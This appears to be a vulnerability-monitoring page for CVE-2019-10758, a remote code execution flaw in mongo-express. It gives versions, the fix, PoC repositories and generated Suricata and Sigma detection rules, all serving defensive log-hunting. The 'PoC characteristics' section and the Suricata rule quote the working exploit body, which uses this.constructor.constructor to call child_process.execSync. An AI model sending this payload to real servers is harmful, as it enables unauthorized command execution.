PoC Monitor
← All CVEs
CVE-2019-10758published 24 Dec 2019 21:08 UTCData: JSON · API

MongoDB mongo-express

MongoDB mongo-express Remote Code Execution Vulnerability

mongo-express before 0.54.0 is vulnerable to Remote Code Execution via endpoints that uses the `toBSON` method. A misuse of the `vm` dependency to perform `exec` commands in a non-safe environment.

First public PoC 1.4 daysafter publication · 26 Dec 2019
Public PoCs43 on GitHub · 1 Exploit-DB, Metasploit or nuclei
CVSS9.9critical · scored by CISA ADP · CWE-94
CISA KEV 10 Dec 20212.0 years after publication

Affected versions and mitigation

From the CVE record, GitHub Security Advisories and the vendor's references.

Affected

mongo-express (npm)
  • < 0.54.0

Fixed in 0.54.0

from GitHub Security Advisory GHSA-h47j-hc6x-h3qq

Mitigation

Upgrade mongo-express to 0.54.0 or later.

Timeline

Days relative to CVE publication
t=0+90+180+270+360+450+540+630CVE published24 Dec 2019 · t = 0First public PoC26 Dec 2019 · t+1.4dAdded to CISA KEV10 Dec 2021 · t+2.0y

First public PoC 1.4 days after publication; added to CISA KEV 2.0 years after publication. First PoC: masahiro331/CVE-2019-10758 (created 26 Dec 2019, found by us: backfilled).

PoC repositories

Found on GitHub.

3 PoCs · 1 informational

PoCs 3
RepositoryCreatedStarsAssessment
masahiro331/CVE-2019-10758 26 Dec 2019 +1.4 d 112 PoC
ossf-cve-benchmark/CVE-2019-10758 1 Dec 2020 +343 d 1 PoC
CyberCTF/vulhub-mongo-express-cve-2019-10758 8 Oct 2026 +6.8 y 0 PoC
Informational 1
RepositoryCreatedStarsAssessment
lp008/CVE-2019-10758 5 Jan 2020 +12 d 5 Informational · write-up

Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.

Other public exploits

Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.
SourceTitlePublishedFound by us
nuclei templatenuclei template: mongo-express Remote Code Execution27 Apr 202314 Nov 2026

PoC characteristics

What to hunt for in your logs · from 3 PoC repos

POST /checkValid

Key headers
Accept: */* Accept-Language: en Authorization: Basic YWRtaW46cGFzcw==
Body markers
document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success") document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator") in application/x-www-form-urlencoded
Ports
8081
PoC User-Agent
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Seen in
2 repos: CyberCTF/vulhub-mongo-express-cve-2019-10758, masahiro331/CVE-2019-10758
Evidence
CyberCTF/vulhub-mongo-express-cve-2019-10758/app/README.md:22 CyberCTF/vulhub-mongo-express-cve-2019-10758/app/README.zh-cn.md:20 masahiro331/CVE-2019-10758/README.md:14

Regex

Generated from PoC characteristics; not yet reviewed. Matches the request path and query.

POST /checkValid
(?i)^/checkValid(?:[?#].*)?$

Suricata

Template generated from PoC characteristics. Review before deploying.

POST /checkValid
alert http any any -> $HOME_NET [8081] (msg:"GG PoC-Monitor CVE-2019-10758 MongoDB mongo-express exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/checkValid"; http.header; content:"Accept: */*"; nocase; http.header; content:"Accept-Language: en"; nocase; http.header; content:"Authorization: Basic YWRtaW46cGFzcw=="; nocase; http.request_body; content:"document=this.constructor.constructor(|22|return process|22|)().mainModule.require(|22|child_process|22|).execSync(|22|touch /tmp/success|22|)"; http.request_body; content:"document=this.constructor.constructor(|22|return process|22|)().mainModule.require(|22|child_process|22|).execSync(|22|/Applications/Calculator.app/Contents/MacOS/Calculator|22|)"; reference:url,poc.griffinguard.io/cve/CVE-2019-10758; classtype:web-application-attack; sid:9684897; rev:1;)

Sigma

Template generated from PoC characteristics. Review before deploying.

POST /checkValid
title: MongoDB mongo-express exploit attempt (CVE-2019-10758)
id: gg-pocmon-cve-2019-10758-9684897
status: experimental
description: Request pattern taken from public PoCs for CVE-2019-10758. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2019-10758
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains|all:
      - '/checkValid'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2019.10758